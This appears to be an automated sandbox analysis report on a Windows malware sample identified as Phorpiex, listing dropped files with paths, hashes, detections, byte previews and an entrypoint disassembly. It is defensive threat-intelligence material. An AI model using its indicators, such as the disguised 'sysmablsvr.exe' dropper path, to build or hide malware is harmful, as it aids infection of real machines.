Preview:	NGS!....!.._....f..~Ms...q...i..[%..J....t.8..>".....h.p.y...Lc..ro[..W.^p.&.../...t.IB...@&..,.....c.xKG.Y..\?....89tQ...".0..............<...e...'...u.lK..N..V...=.>Yz..0EY.A.7.gFx.@..z.Y2}-....c.s.q.O.@I..n.:.....+!P(Z.l...3.{..C.'..;..".RJ...Kmd....x.....w...l..X.1.......S.a....i.s..n...}_w.z]RTj.n9..u..&.]..r...d.2qM......;+.IK......._+;..Zh...~.XS.]`.......i......W7..WA.%.nW...r..&+.....d....7..~k.\............:W...?.F...%x.!.<..a.......oW.(s.3..cx.v..x.z..e./.UK.E.ho..X.n..Z.[}m<.a..Du}e..2.}Y.GB.UcWJN4l...l.f~x$V.=.....lE...Z..yp.6...v..'-R..~=.&.../..B$.K^Dh{.....$..u.?..c......\...4........b..{6..B.To.....N...Bj.6..;8L......TD.6.......=...9$h@.v../J.MEC...0..H..1oCcT.mN{...Y#.[..M...h"..rDS...p:..7.."m?..\.[......x..u`..\...pd.........A..$..B..?a...............r.....Va.-.q.'.K^...F.....!\|^.\.'._YJ\..a...P.=.....C..._Q..S./.^.Q.f$.h.zT>..P]@...s.y.\.....}.6....].SE....].....hU\."..2X..\...;.Jo.&._<m....../K.V[.3g..^

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\1[1]

Download File

Process:	C:\Windows\sysmablsvr.exe
File Type:	data
Category:	dropped
Size (bytes):	8200
Entropy (8bit):	7.978897056764554
Encrypted:	false
SSDEEP:	192:kD4d5ObbY6sB1iNUlT+w5hzHv2ojIsITGKov+KjvZT:ZYmqNUlyw5hzHv2fTGKuTrZT
MD5:	B4824500B417A4BEF5A7F356A7E59228
SHA1:	5D2B41DDB0FB14AF16D6F5434477CCE841FCCB61
SHA-256:	5E611106EBE3444BAFC26DD6D3C9DA9EC52114D95121D72C37A00D76D729B281
SHA-512:	74A3BEF099FF33F00151AB07534F66CFD8408F156E308063CD1FE4C0D3CA9DD104619FC1E5E654D3E85D4897BF68F015144969CA17BFD04186724C1A9CCD4D0A
Malicious:	false
Reputation:	low
Preview:	NGS!....!.._....f..~Ms...q...i..[%..J....t.8..>".....h.p.y...Lc..ro[..W.^p.&.../...t.IB...@&..,.....c.xKG.Y..\?....89tQ...".0..............<...e...'...u.lK..N..V...=.>Yz..0EY.A.7.gFx.@..z.Y2}-....c.s.q.O.@I..n.:.....+!P(Z.l...3.{..C.'..;..".RJ...Kmd....x.....w...l..X.1.......S.a....i.s..n...}_w.z]RTj.n9..u..&.]..r...d.2qM......;+.IK......._+;..Zh...~.XS.]`.......i......W7..WA.%.nW...r..&+.....d....7..~k.\............:W...?.F...%x.!.<..a.......oW.(s.3..cx.v..x.z..e./.UK.E.ho..X.n..Z.[}m<.a..Du}e..2.}Y.GB.UcWJN4l...l.f~x$V.=.....lE...Z..yp.6...v..'-R..~=.&.../..B$.K^Dh{.....$..u.?..c......\...4........b..{6..B.To.....N...Bj.6..;8L......TD.6.......=...9$h@.v../J.MEC...0..H..1oCcT.mN{...Y#.[..M...h"..rDS...p:..7.."m?..\.[......x..u`..\...pd.........A..$..B..?a...............r.....Va.-.q.'.K^...F.....!\|^.\.'._YJ\..a...P.=.....C..._Q..S./.^.Q.f$.h.zT>..P]@...s.y.\.....}.6....].SE....].....hU\."..2X..\...;.Jo.&._<m....../K.V[.3g..^

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\2[1]

Download File

Process:	C:\Windows\sysmablsvr.exe
File Type:	data
Category:	dropped
Size (bytes):	7936
Entropy (8bit):	7.977073369015467
Encrypted:	false
SSDEEP:	96:laZmbVGtzVkzC6UDj1leru2yQOfggZ+IQFTkTlYZqdPjYScySGXWi9J6qHX8K6q8:laSiVcwDjDe1psYU6ShvGi9Yqx6qbu1
MD5:	E4BA3C41B28A42D02E385EE30669598D
SHA1:	B5D014A790826C0157FC6CFCCAFF942766F78382
SHA-256:	0177C6245F875C9E65824FE76D24D1D9F13BDBF766E0C275E2CAB80A98412D41
SHA-512:	1AFB3912A5C7A59D2C4FD9FBCBB0A4A1D4E55E063AB76707FFC8B28F1C8C235A28732042D2CCCC413043FB5B5AD749AC374CF232F1C6E1B8844D056F644770E2
Malicious:	false
Reputation:	low
Preview:	.~.^.k...Jj.\w...XM.,../..P\...........V.8.Zao...!p...i.s...".w9..4o......7v.K'.62...^...Kr.!.\.EA..F...E.i...2.+3...;._.'....F.<...g.~...t....@.S$.\|...^.../3-.M.*$-.:O....v.6.cy.@.....p..-...,:b.w.&A).......}.n3h....DH>.g.._."....k..H..j.t....t./.. .V..xs`....\..e`..0..A.. 9$..2..(%Q..P.[...4.8].y=&..... ......;a..EU..z..rgR....GX{H.i\|..IU..e.R9........!.H....J...Y.C.o...u..=.3_......w.ev,q..b..s...bT.9BX'F,D.n.Boi.Y...S..gD.zp........I.A+......V....Q.c....Rh.Xu.>...N..![..............2.....V..]pL....X...e.%k...Y.R#r...OB.o....R..u.s...t...[.....cJ...v6.\|.+$k....v:.?.c...8....j.O..)....~m><X..`.V.k,..d+z}).P.\|~.h..........?.n).W.,.....H.;.....].........6..~}R.Z......_...Z.j....x."~?m.k..V.";G..`.mN$...+._....R~l.w....R.......!Lo.Q_.gzf........g.6.:F..f...........v...J.r-.....t...`.i...;.w$.K...\.....P.9...!......j.......t...E....r.OR...b.T.........\|....[.`..WK..^&...b.....O50om.v..D0.......w.:.]...C..LW......!l.5XAW..oP...g.b2.x(

C:\Users\user\AppData\Local\Temp\158752420.exe

Download File

Process:	C:\Windows\sysmablsvr.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.391249729205469
Encrypted:	false
SSDEEP:	192:hPgQD/GBqBCQJvtWojFJxT4SzxmFhql2:hgQD/GPQJv8ojFpx2
MD5:	8242045FF6B7BED00C8A94C77193F2DE
SHA1:	EA6E335F88B9D14E722BFF8298469FE0D6C17199
SHA-256:	7217DE31983E9E1E310D0BB28D8EDC2F7D6E69F2ABF32704B5AB74072AB48F74
SHA-512:	DE3FA7426D115EE96C5FF328D31A3DE476742B1CF9C7956F56C675BC9E94C175DB32AEFF6235C59D37DF51B3B0DAC79E002A97527FA0E4D02EEE3BA4C4C2A39C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&.h.be..be..be..E.}.le..k...ae..be../e..k...ce..k...we..k...ae..k...ce..Richbe..........PE..L......f.....................................0....@..........................p......Nr....@.................................\|7.......P.......................`.......................................6..@............0..D............................text...B........................... ..`.rdata.......0......................@..@.data........@.......&..............@....rsrc........P.......(..............@..@.reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\193855420.exe

Download File

Process:	C:\Windows\sysmablsvr.exe
File Type:	data
Category:	dropped
Size (bytes):	7936
Entropy (8bit):	7.9773160117550175
Encrypted:	false
SSDEEP:	192:eCcU4lTpyjoqU4TWTeguLt/1tS1o6Tqu37b7WPkE7qHDHyo:eCcVLIowLt/1STqu37HI1I
MD5:	CDC59EC342E22103257F213FED156807
SHA1:	0B7F95AB9FA24A7CEA2E34B9AFF3845A8923F96F
SHA-256:	DDF959FF63893AC8EB8ED9F877448072FE7B5FAE741B3AF3D5DB5B06AC154678
SHA-512:	E215E2933636DF7B5EECD21DD64A90DE8E06D5BC41CE71673263EC36073AD926C3D3F6910B969ECCF8E02458B0D580248DF3C07E01D6BA9E6B1F7B3F14A34BB1
Malicious:	true
Preview:	......$u0.j......W..Z.r.....5`.2...M...<e...~.~.lUMC...,3..^..7VE.d.l......\|..N50....LO'...m.c/.........Y..l9...$g.X.4uA..FJ....fk4...Z\a....zm.f..k`..=....2....a....\F..`Sq.....T...z...9..-V......z.3s.2d.i..2Z).....kJ.!..J.,_. ..M.v.Rz....r......$..V'..'..K....@J..Z...E..{.D..8...4.T[8.j.Qc.... .OI.1...6.R....m.T...=g...yJV9q..........U.Mu...D6..QE....l."....{....d=~rD..$....E..p....=-K.g\|I..&....].c)X.YT.,x.7.~.W9r..{..$h.K...K.vf.K.5..w}..y.BLS....^...n.X..]..P.>=qU..0._....D.........F&B...RB..1+.......Y@$..2c#.6....:..Pn.r.}.$..x.../...ql...~.p2.. ...Qm&.>C..G....)Iu$..I..@.q..;.....@........T.9.u.......'Od......c......m..7r.}y.........}.}?.F...Hw.x.,6..,..$.sg.."S.\|Y......)..:...#...lQL..qy.e..)...>8`5.6f/...i.Iq.)c.K.G-.i..)....i...M....1-].e...Ld.......3.}.fDA]....\...<J.r..~..S..WE.....o.X..f.5..........O.5._...g5..,V....\|..s...B.}T....;uQ.T...:z~...B8..8S.mq..m..*.g.g9..D......;.W@..t.......^ .....%...Sn.=..,...6^Yx.F"...

C:\Users\user\AppData\Local\Temp\21548511.exe

Download File

Process:	C:\Windows\sysmablsvr.exe
File Type:	data
Category:	dropped
Size (bytes):	7936
Entropy (8bit):	7.9773160117550175
Encrypted:	false
SSDEEP:	192:eCcU4lTpyjoqU4TWTeguLt/1tS1o6Tqu37b7WPkE7qHDHyo:eCcVLIowLt/1STqu37HI1I
MD5:	CDC59EC342E22103257F213FED156807
SHA1:	0B7F95AB9FA24A7CEA2E34B9AFF3845A8923F96F
SHA-256:	DDF959FF63893AC8EB8ED9F877448072FE7B5FAE741B3AF3D5DB5B06AC154678
SHA-512:	E215E2933636DF7B5EECD21DD64A90DE8E06D5BC41CE71673263EC36073AD926C3D3F6910B969ECCF8E02458B0D580248DF3C07E01D6BA9E6B1F7B3F14A34BB1
Malicious:	true
Preview:	......$u0.j......W..Z.r.....5`.2...M...<e...~.~.lUMC...,3..^..7VE.d.l......\|..N50....LO'...m.c/.........Y..l9...$g.X.4uA..FJ....fk4...Z\a....zm.f..k`..=....2....a....\F..`Sq.....T...z...9..-V......z.3s.2d.i..2Z).....kJ.!..J.,_. ..M.v.Rz....r......$..V'..'..K....@J..Z...E..{.D..8...4.T[8.j.Qc.... .OI.1...6.R....m.T...=g...yJV9q..........U.Mu...D6..QE....l."....{....d=~rD..$....E..p....=-K.g\|I..&....].c)X.YT.,x.7.~.W9r..{..$h.K...K.vf.K.5..w}..y.BLS....^...n.X..]..P.>=qU..0._....D.........F&B...RB..1+.......Y@$..2c#.6....:..Pn.r.}.$..x.../...ql...~.p2.. ...Qm&.>C..G....)Iu$..I..@.q..;.....@........T.9.u.......'Od......c......m..7r.}y.........}.}?.F...Hw.x.,6..,..$.sg.."S.\|Y......)..:...#...lQL..qy.e..)...>8`5.6f/...i.Iq.)c.K.G-.i..)....i...M....1-].e...Ld.......3.}.fDA]....\...<J.r..~..S..WE.....o.X..f.5..........O.5._...g5..,V....\|..s...B.}T....;uQ.T...:z~...B8..8S.mq..m..*.g.g9..D......;.W@..t.......^ .....%...Sn.=..,...6^Yx.F"...

C:\Users\user\AppData\Local\Temp\239315810.exe

Download File

Process:	C:\Windows\sysmablsvr.exe
File Type:	data
Category:	dropped
Size (bytes):	8200
Entropy (8bit):	7.978897056764554
Encrypted:	false
SSDEEP:	192:kD4d5ObbY6sB1iNUlT+w5hzHv2ojIsITGKov+KjvZT:ZYmqNUlyw5hzHv2fTGKuTrZT
MD5:	B4824500B417A4BEF5A7F356A7E59228
SHA1:	5D2B41DDB0FB14AF16D6F5434477CCE841FCCB61
SHA-256:	5E611106EBE3444BAFC26DD6D3C9DA9EC52114D95121D72C37A00D76D729B281
SHA-512:	74A3BEF099FF33F00151AB07534F66CFD8408F156E308063CD1FE4C0D3CA9DD104619FC1E5E654D3E85D4897BF68F015144969CA17BFD04186724C1A9CCD4D0A
Malicious:	true
Preview:	NGS!....!.._....f..~Ms...q...i..[%..J....t.8..>".....h.p.y...Lc..ro[..W.^p.&.../...t.IB...@&..,.....c.xKG.Y..\?....89tQ...".0..............<...e...'...u.lK..N..V...=.>Yz..0EY.A.7.gFx.@..z.Y2}-....c.s.q.O.@I..n.:.....+!P(Z.l...3.{..C.'..;..".RJ...Kmd....x.....w...l..X.1.......S.a....i.s..n...}_w.z]RTj.n9..u..&.]..r...d.2qM......;+.IK......._+;..Zh...~.XS.]`.......i......W7..WA.%.nW...r..&+.....d....7..~k.\............:W...?.F...%x.!.<..a.......oW.(s.3..cx.v..x.z..e./.UK.E.ho..X.n..Z.[}m<.a..Du}e..2.}Y.GB.UcWJN4l...l.f~x$V.=.....lE...Z..yp.6...v..'-R..~=.&.../..B$.K^Dh{.....$..u.?..c......\...4........b..{6..B.To.....N...Bj.6..;8L......TD.6.......=...9$h@.v../J.MEC...0..H..1oCcT.mN{...Y#.[..M...h"..rDS...p:..7.."m?..\.[......x..u`..\...pd.........A..$..B..?a...............r.....Va.-.q.'.K^...F.....!\|^.\.'._YJ\..a...P.=.....C..._Q..S./.^.Q.f$.h.zT>..P]@...s.y.\.....}.6....].SE....].....hU\."..2X..\...;.Jo.&._<m....../K.V[.3g..^

C:\Users\user\AppData\Local\Temp\259428477.exe

Download File

Process:	C:\Windows\sysmablsvr.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.391249729205469
Encrypted:	false
SSDEEP:	192:hPgQD/GBqBCQJvtWojFJxT4SzxmFhql2:hgQD/GPQJv8ojFpx2
MD5:	8242045FF6B7BED00C8A94C77193F2DE
SHA1:	EA6E335F88B9D14E722BFF8298469FE0D6C17199
SHA-256:	7217DE31983E9E1E310D0BB28D8EDC2F7D6E69F2ABF32704B5AB74072AB48F74
SHA-512:	DE3FA7426D115EE96C5FF328D31A3DE476742B1CF9C7956F56C675BC9E94C175DB32AEFF6235C59D37DF51B3B0DAC79E002A97527FA0E4D02EEE3BA4C4C2A39C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&.h.be..be..be..E.}.le..k...ae..be../e..k...ce..k...we..k...ae..k...ce..Richbe..........PE..L......f.....................................0....@..........................p......Nr....@.................................\|7.......P.......................`.......................................6..@............0..D............................text...B........................... ..`.rdata.......0......................@..@.data........@.......&..............@....rsrc........P.......(..............@..@.reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2958729589.exe

Download File

Process:	C:\Windows\sysmablsvr.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.391249729205469
Encrypted:	false
SSDEEP:	192:hPgQD/GBqBCQJvtWojFJxT4SzxmFhql2:hgQD/GPQJv8ojFpx2
MD5:	8242045FF6B7BED00C8A94C77193F2DE
SHA1:	EA6E335F88B9D14E722BFF8298469FE0D6C17199
SHA-256:	7217DE31983E9E1E310D0BB28D8EDC2F7D6E69F2ABF32704B5AB74072AB48F74
SHA-512:	DE3FA7426D115EE96C5FF328D31A3DE476742B1CF9C7956F56C675BC9E94C175DB32AEFF6235C59D37DF51B3B0DAC79E002A97527FA0E4D02EEE3BA4C4C2A39C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&.h.be..be..be..E.}.le..k...ae..be../e..k...ce..k...we..k...ae..k...ce..Richbe..........PE..L......f.....................................0....@..........................p......Nr....@.................................\|7.......P.......................`.......................................6..@............0..D............................text...B........................... ..`.rdata.......0......................@..@.data........@.......&..............@....rsrc........P.......(..............@..@.reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3022733304.exe

Download File

Process:	C:\Windows\sysmablsvr.exe
File Type:	data
Category:	dropped
Size (bytes):	8200
Entropy (8bit):	7.978897056764554
Encrypted:	false
SSDEEP:	192:kD4d5ObbY6sB1iNUlT+w5hzHv2ojIsITGKov+KjvZT:ZYmqNUlyw5hzHv2fTGKuTrZT
MD5:	B4824500B417A4BEF5A7F356A7E59228
SHA1:	5D2B41DDB0FB14AF16D6F5434477CCE841FCCB61
SHA-256:	5E611106EBE3444BAFC26DD6D3C9DA9EC52114D95121D72C37A00D76D729B281
SHA-512:	74A3BEF099FF33F00151AB07534F66CFD8408F156E308063CD1FE4C0D3CA9DD104619FC1E5E654D3E85D4897BF68F015144969CA17BFD04186724C1A9CCD4D0A
Malicious:	true
Preview:	NGS!....!.._....f..~Ms...q...i..[%..J....t.8..>".....h.p.y...Lc..ro[..W.^p.&.../...t.IB...@&..,.....c.xKG.Y..\?....89tQ...".0..............<...e...'...u.lK..N..V...=.>Yz..0EY.A.7.gFx.@..z.Y2}-....c.s.q.O.@I..n.:.....+!P(Z.l...3.{..C.'..;..".RJ...Kmd....x.....w...l..X.1.......S.a....i.s..n...}_w.z]RTj.n9..u..&.]..r...d.2qM......;+.IK......._+;..Zh...~.XS.]`.......i......W7..WA.%.nW...r..&+.....d....7..~k.\............:W...?.F...%x.!.<..a.......oW.(s.3..cx.v..x.z..e./.UK.E.ho..X.n..Z.[}m<.a..Du}e..2.}Y.GB.UcWJN4l...l.f~x$V.=.....lE...Z..yp.6...v..'-R..~=.&.../..B$.K^Dh{.....$..u.?..c......\...4........b..{6..B.To.....N...Bj.6..;8L......TD.6.......=...9$h@.v../J.MEC...0..H..1oCcT.mN{...Y#.[..M...h"..rDS...p:..7.."m?..\.[......x..u`..\...pd.........A..$..B..?a...............r.....Va.-.q.'.K^...F.....!\|^.\.'._YJ\..a...P.=.....C..._Q..S./.^.Q.f$.h.zT>..P]@...s.y.\.....}.6....].SE....].....hU\."..2X..\...;.Jo.&._<m....../K.V[.3g..^

C:\Users\user\AppData\Local\Temp\3079321897.exe

Download File

Process:	C:\Windows\sysmablsvr.exe
File Type:	data
Category:	dropped
Size (bytes):	7936
Entropy (8bit):	7.9773160117550175
Encrypted:	false
SSDEEP:	192:eCcU4lTpyjoqU4TWTeguLt/1tS1o6Tqu37b7WPkE7qHDHyo:eCcVLIowLt/1STqu37HI1I
MD5:	CDC59EC342E22103257F213FED156807
SHA1:	0B7F95AB9FA24A7CEA2E34B9AFF3845A8923F96F
SHA-256:	DDF959FF63893AC8EB8ED9F877448072FE7B5FAE741B3AF3D5DB5B06AC154678
SHA-512:	E215E2933636DF7B5EECD21DD64A90DE8E06D5BC41CE71673263EC36073AD926C3D3F6910B969ECCF8E02458B0D580248DF3C07E01D6BA9E6B1F7B3F14A34BB1
Malicious:	true
Preview:	......$u0.j......W..Z.r.....5`.2...M...<e...~.~.lUMC...,3..^..7VE.d.l......\|..N50....LO'...m.c/.........Y..l9...$g.X.4uA..FJ....fk4...Z\a....zm.f..k`..=....2....a....\F..`Sq.....T...z...9..-V......z.3s.2d.i..2Z).....kJ.!..J.,_. ..M.v.Rz....r......$..V'..'..K....@J..Z...E..{.D..8...4.T[8.j.Qc.... .OI.1...6.R....m.T...=g...yJV9q..........U.Mu...D6..QE....l."....{....d=~rD..$....E..p....=-K.g\|I..&....].c)X.YT.,x.7.~.W9r..{..$h.K...K.vf.K.5..w}..y.BLS....^...n.X..]..P.>=qU..0._....D.........F&B...RB..1+.......Y@$..2c#.6....:..Pn.r.}.$..x.../...ql...~.p2.. ...Qm&.>C..G....)Iu$..I..@.q..;.....@........T.9.u.......'Od......c......m..7r.}y.........}.}?.F...Hw.x.,6..,..$.sg.."S.\|Y......)..:...#...lQL..qy.e..)...>8`5.6f/...i.Iq.)c.K.G-.i..)....i...M....1-].e...Ld.......3.}.fDA]....\...<J.r..~..S..WE.....o.X..f.5..........O.5._...g5..,V....\|..s...B.}T....;uQ.T...:z~...B8..8S.mq..m..*.g.g9..D......;.W@..t.......^ .....%...Sn.=..,...6^Yx.F"...

C:\Users\user\AppData\Local\Temp\356818234.exe

Download File

Process:	C:\Windows\sysmablsvr.exe
File Type:	data
Category:	dropped
Size (bytes):	7936
Entropy (8bit):	7.9773160117550175
Encrypted:	false
SSDEEP:	192:eCcU4lTpyjoqU4TWTeguLt/1tS1o6Tqu37b7WPkE7qHDHyo:eCcVLIowLt/1STqu37HI1I
MD5:	CDC59EC342E22103257F213FED156807
SHA1:	0B7F95AB9FA24A7CEA2E34B9AFF3845A8923F96F
SHA-256:	DDF959FF63893AC8EB8ED9F877448072FE7B5FAE741B3AF3D5DB5B06AC154678
SHA-512:	E215E2933636DF7B5EECD21DD64A90DE8E06D5BC41CE71673263EC36073AD926C3D3F6910B969ECCF8E02458B0D580248DF3C07E01D6BA9E6B1F7B3F14A34BB1
Malicious:	true
Preview:	......$u0.j......W..Z.r.....5`.2...M...<e...~.~.lUMC...,3..^..7VE.d.l......\|..N50....LO'...m.c/.........Y..l9...$g.X.4uA..FJ....fk4...Z\a....zm.f..k`..=....2....a....\F..`Sq.....T...z...9..-V......z.3s.2d.i..2Z).....kJ.!..J.,_. ..M.v.Rz....r......$..V'..'..K....@J..Z...E..{.D..8...4.T[8.j.Qc.... .OI.1...6.R....m.T...=g...yJV9q..........U.Mu...D6..QE....l."....{....d=~rD..$....E..p....=-K.g\|I..&....].c)X.YT.,x.7.~.W9r..{..$h.K...K.vf.K.5..w}..y.BLS....^...n.X..]..P.>=qU..0._....D.........F&B...RB..1+.......Y@$..2c#.6....:..Pn.r.}.$..x.../...ql...~.p2.. ...Qm&.>C..G....)Iu$..I..@.q..;.....@........T.9.u.......'Od......c......m..7r.}y.........}.}?.F...Hw.x.,6..,..$.sg.."S.\|Y......)..:...#...lQL..qy.e..)...>8`5.6f/...i.Iq.)c.K.G-.i..)....i...M....1-].e...Ld.......3.}.fDA]....\...<J.r..~..S..WE.....o.X..f.5..........O.5._...g5..,V....\|..s...B.}T....;uQ.T...:z~...B8..8S.mq..m..*.g.g9..D......;.W@..t.......^ .....%...Sn.=..,...6^Yx.F"...

C:\Users\user\AppData\Local\Temp\524024912.exe

Download File

Process:	C:\Windows\sysmablsvr.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7680
Entropy (8bit):	5.432926826222673
Encrypted:	false
SSDEEP:	96:e2b/BPrdRyDN5t9LT+YmAWPzjK8Jz4FJxSE4y2FFp3C7tCEIr:e2b/BPuPJ+eoRJ0FJx34ymFpcI
MD5:	AC0A159A6C219E2CEA55DCC77AB6E337
SHA1:	3E0E7C2E758DAE61EDF9F27860693A1910BA71AA
SHA-256:	E97496328C0D205A7ECB4ADE75C1555FC7787EC54334468739C5C5CFD6566B3C
SHA-512:	4F29A8D75D71D553166F817474F316A80BE4FB39D8B7B38336B172AD4C428BBC76B461AC02BEFCA4B15CA42562CDB783A27B02D5EB8C1AF2944E0D4E2ACADC6A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.DownLoader46.2135.4279.14770.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........,CE.B.E.B.E.B.b.9.M.B.L...F.B.E.C.u.B.L...D.B.L...P.B.L...F.B.L...D.B.RichE.B.................PE..L....q.f............................_........ ....@..........................`....... ....@..................................#..x....@.......................P..`...................................X"..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\tbtnds.dat

Download File

Process:	C:\Windows\sysmablsvr.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	4064
Entropy (8bit):	4.769574018574847
Encrypted:	false
SSDEEP:	96:VAQBF9/MCiPprtJ4AygurETyHA5s/omF6MZnHl50W2Q1NZoQDl2:W2ACiBr4jETx5s/om6wlCW2QvBl2
MD5:	8F585CFD4BCB25D0C06778EF82F37804
SHA1:	3E7F6D52F672A3F17D7DA0D2F141FCB44D621B0A
SHA-256:	9FE63F3BB2D7A142C208FE8E9978B8CC2A7DE22CF5256FD60581BB461614D1BE
SHA-512:	057A5C7985A9CCAB37258B5F49A7BFE814B82E4BCDDEF200AB1EE19E78BC61C173821059E0B410CB3CB44C2DD55ADC72300ED8B2908DA596D64EB8AD36D1532A
Malicious:	false
Preview:	.6#...............X......5h:.....#.......k......R..K....\~.=....%..6....Y.>.....^2........l....].W7....Y............._9.r....Y.>\.....L8........w......a9.............................3.....M.v.....f..S...........[..R....>........op......a.....mJC`.....{DZ.....#0^....%.=.....................F5.....................%..v.......o..................._;v^......EO.............x........tz.......<....;[.v....M.)............................^.#..............=i......{.....f.......Yj.:...._.W.....W..G..........._8......%.A......\|.......#].....-..z....%..N.......1.....!.......6....._9.k....%x...............Y>.......\|.............%..#......4....%0.......].............Y+......Y&_.............u.Pl......3............Nj.......d..............Y.......N'.9....V>.......[....................._:.B....\\|.........#...........PP.Y....].P........o....M_.........v......\|............Y..k....+..x.....[.............Y.,............._.w.............%.........g....Yhfu....%..t...._:......Q_.K....f......

C:\Windows\sysmablsvr.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	90112
Entropy (8bit):	6.352081778201283
Encrypted:	false
SSDEEP:	1536:wL0IGzbFmav82XwudP6+0MTqEjXm/D5AKHK:c0poOfP6+JuEjaaKHK
MD5:	ABABCA6D12D96E8DD2F1D7114B406FAE
SHA1:	DCD9798E83EC688AACB3DE8911492A232CB41A32
SHA-256:	A992920E64A64763F3DD8C2A431A0F5E56E5B3782A1496DE92BC80EE71CCA5BA
SHA-512:	B7FC70C176BDC74CF68B14E694F3E53142E64D39BD6D3E0F2E3A74CE3178EA606F92F760D21DB69D72AE6677545A47C7BF390FB65CD5247A48E239F6AE8F7B8F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Windows\sysmablsvr.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 84%
Joe Sandbox View:	Filename: SecuriteInfo.com.Trojan.DownLoader46.63386.25844.4041.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.qj)..9)..9)..9 ..9...9Q..8+..9..B9+..9..@9(..9...9+..9..r9-..9)..9...9..d9<..9 ..9-..9 ..95..9 ..9(..9Rich)..9........................PE..L....\|if.............................u............@.................................................................................................................................................................... ............................text............................... ..`.rdata..b:.......<..................@..@.data....G...@...6.................@...................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.352081778201283
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	90'112 bytes
MD5:	ababca6d12d96e8dd2f1d7114b406fae
SHA1:	dcd9798e83ec688aacb3de8911492a232cb41a32
SHA256:	a992920e64a64763f3dd8c2a431a0f5e56e5b3782a1496de92bc80ee71cca5ba
SHA512:	b7fc70c176bdc74cf68b14e694f3e53142e64d39bd6d3e0f2e3a74ce3178ea606f92f760d21db69d72ae6677545a47c7bf390fb65cd5247a48e239f6ae8f7b8f
SSDEEP:	1536:wL0IGzbFmav82XwudP6+0MTqEjXm/D5AKHK:c0poOfP6+JuEjaaKHK
TLSH:	64931A42F590A47FF9EA86FA91F64E68542CBFB4234844E39250659B87207FEFC35027
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.qj)..9)..9)..9 ..9...9Q..8+..9..B9+..9..@9(..9...9+..9..r9-..9)..9...9..d9<..9 ..9-..9 ..95..9 ..9(..9Rich)..9...............

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x407500
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66697CAF [Wed Jun 12 10:47:11 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	2e23372b9869b74c90162a6fda4f170d

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 00000FF0h
push 000007D0h
call dword ptr [0041013Ch]
push 0041431Ch
push 00000000h
push 00000000h
call dword ptr [00410098h]
mov dword ptr [ebp-00000E5Ch], eax
call dword ptr [0041009Ch]
cmp eax, 000000B7h
jne 00007F3DCD20D74Ah
push 00000000h
call dword ptr [004100A0h]
mov dword ptr [ebp-0000062Ch], 00000000h
mov dword ptr [ebp-0000041Ch], 00000000h
mov dword ptr [ebp-0000083Ch], 00000001h
mov dword ptr [ebp-00000210h], 00000004h
push 00000105h
push 00417B18h
push 00000000h
call dword ptr [004100B0h]
push 00417B18h
call dword ptr [0041017Ch]
mov dword ptr [ebp-0000020Ch], eax
push 00417B18h
push 004112DCh
lea eax, dword ptr [ebp-00000208h]
push eax
call dword ptr [0041019Ch]
add esp, 0Ch
lea ecx, dword ptr [ebp-00000208h]
push ecx
call dword ptr [004100C0h]
push 00000104h
lea edx, dword ptr [ebp-00000E58h]
push edx
push 00411304h
call dword ptr [004100A4h]

Rich Headers

Programming Language:

[ C ] VS2005 build 50727
[IMP] VS2005 build 50727
[ C ] VS2008 SP1 build 30729
[C++] VS2008 SP1 build 30729
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
